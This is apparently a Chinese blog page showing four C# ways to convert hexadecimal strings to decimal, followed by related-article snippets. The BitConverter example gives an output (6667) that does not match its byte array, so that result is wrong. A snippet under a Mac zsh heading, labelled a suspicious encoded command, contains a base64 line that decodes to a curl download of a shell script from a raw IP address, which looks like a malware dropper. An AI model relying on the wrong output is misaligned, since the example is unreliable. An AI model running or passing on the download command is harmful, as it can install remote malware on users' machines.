C# 十六进制字符串转换为十进制

ops/2025/2/21 20:16:03/

在 C# 中,将十六进制(Hexadecimal)字符串转换为十进制(Decimal)整数非常简单。以下是几种常见的方法:


方法 1: 使用 Convert.ToInt32

Convert.ToInt32 方法可以直接将十六进制字符串转换为十进制整数。

示例代码
using System;class Program
{static void Main(){string hexValue = "1A3"; // 十六进制字符串int decimalValue = Convert.ToInt32(hexValue, 16); // 转换为十进制Console.WriteLine($"十六进制 {hexValue} 转换为十进制是: {decimalValue}");}
}
输出
十六进制 1A3 转换为十进制是: 419

方法 2: 使用 int.Parseint.TryParse

int.Parseint.TryParse 也可以将十六进制字符串转换为十进制整数,需要指定 NumberStyles.HexNumber

示例代码
using System;
using System.Globalization;class Program
{static void Main(){string hexValue = "1A3"; // 十六进制字符串int decimalValue = int.Parse(hexValue, NumberStyles.HexNumber); // 转换为十进制Console.WriteLine($"十六进制 {hexValue} 转换为十进制是: {decimalValue}");}
}
输出
十六进制 1A3 转换为十进制是: 419
使用 int.TryParse 处理异常

如果十六进制字符串可能无效,可以使用 int.TryParse 来避免异常:

using System;
using System.Globalization;class Program
{static void Main(){string hexValue = "1A3"; // 十六进制字符串if (int.TryParse(hexValue, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out int decimalValue)){Console.WriteLine($"十六进制 {hexValue} 转换为十进制是: {decimalValue}");}else{Console.WriteLine("无效的十六进制字符串");}}
}

方法 3: 手动转换

如果你希望手动实现十六进制到十进制的转换,可以使用以下算法:

示例代码
using System;class Program
{static void Main(){string hexValue = "1A3"; // 十六进制字符串int decimalValue = HexToDecimal(hexValue);Console.WriteLine($"十六进制 {hexValue} 转换为十进制是: {decimalValue}");}static int HexToDecimal(string hex){int result = 0;for (int i = 0; i < hex.Length; i++){char c = hex[i];int digit = c >= '0' && c <= '9' ? c - '0' :c >= 'A' && c <= 'F' ? c - 'A' + 10 :c >= 'a' && c <= 'f' ? c - 'a' + 10 : 0;result = result * 16 + digit;}return result;}
}
输出
十六进制 1A3 转换为十进制是: 419

方法 4: 使用 BitConverter(适用于字节数组)

如果十六进制数据是以字节数组的形式存在,可以使用 BitConverter 将其转换为十进制。

示例代码
using System;class Program
{static void Main(){byte[] bytes = { 0x1A, 0x03 }; // 十六进制字节数组int decimalValue = BitConverter.ToInt16(bytes, 0); // 转换为十进制Console.WriteLine($"十六进制字节数组转换为十进制是: {decimalValue}");}
}
输出
十六进制字节数组转换为十进制是: 6667

总结

  • 推荐方法:使用 Convert.ToInt32int.Parse,简单且高效。
  • 手动转换:适用于学习或特殊需求。
  • 字节数组:如果数据是字节数组形式,可以使用 BitConverter

根据你的需求选择合适的方法即可!


http://www.ppmy.cn/ops/160324.html

相关文章

什么是3D可视化?有哪些优势和应用领域?

3D可视化服务是一种基于大数据、物联网、云计算等技术构建的三维可视化系统服务&#xff0c;它提供直观的三维软件应用服务&#xff0c;帮助用户更好地理解和分析数据。以下是对3D可视化服务的详细介绍&#xff1a; 一、3D可视化服务的原理 3D可视化服务的原理主要包括数据采…

深度解析应用层协议-----HTTP与MQTT(涵盖Paho库)

HTTP协议概述 1.1 HTTP的基本概念 HTTP是一种应用层协议&#xff0c;使用TCP作为传输层协议&#xff0c;默认端口是80&#xff0c;基于请求和响应的方式&#xff0c;即客户端发起请求&#xff0c;服务器响应请求并返回数据&#xff08;HTML&#xff0c;JSON&#xff09;。在H…

算法从0到100之【专题一】- 双指针第一练(数组划分、数组分块)

文章目录 【题目一】移动零题目要求算法原理&#xff08;思路讲解 画图模拟演示&#xff09;代码实现 【题目二】复写零题目要求算法原理&#xff08;思路讲解 画图模拟演示&#xff09;代码实现 【题目一】移动零 题目要求 给定一个数组 nums&#xff0c;编写一个函数将所…

Mac zsh使用相关问题之一

解决zsh 找不到zsh插件的问题 解决方法 修改vim ~/.zshrc 添加如下内容&#xff1a; fpath(/usr/share/zsh/5.0.2/functions $fpath)可疑编码命令 ~ echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo|base64 -d curl -fsSL http://140.99.32.48/b2f…

【深度学习】使用飞桨paddle实现波士顿房价预测任务

使用飞桨实现波士顿房价预测任务 由于开始学习深度学习&#xff0c;因此每次开始都熟悉一下深度学习模型的基本步骤&#xff1a; 在之前的学习中&#xff0c;我们学习了使用Python和NumPy实现波士顿房价预测任务的方法&#xff0c;本章我们将尝试使用飞桨paddle重写房价预测任…

【开源商城系统是否能直接拿去售卖】

开源商城系统是否能直接拿去售卖&#xff0c;需要根据具体的开源协议和相关法律法规来判断&#xff0c;以下是具体分析&#xff1a; 遵循开源协议的情况 GPL协议&#xff1a;如果开源商城系统遵循GNU通用公共许可证&#xff08;GPL&#xff09;&#xff0c;这种协议属于强拷贝…

如何查看java的字节码文件?javap?能用IDEA吗?

编译指令&#xff1a; javac YourProject.java 查看字节码文件的指令&#xff1a; javap -c -l YourProject.class 不添加-c指令就不会显示字节码文件&#xff1a; 不添加 -l 就不会显示源代码和字节码文件的对应关系&#xff1a; 添加-l之后多出来这些&#xff1a; IDEA不太…

解决DeepSeek服务器繁忙的有效方法

全球42%的企业遭遇过AI工具服务器过载导致内容生产中断&#xff08;数据来源&#xff1a;Gartner 2025&#xff09;。当竞品在凌晨3点自动发布「智能家居安装指南」时&#xff0c;你的团队可能正因DeepSeek服务器繁忙错失「净水器保养教程」的流量黄金期⏳。147SEO智能调度系统…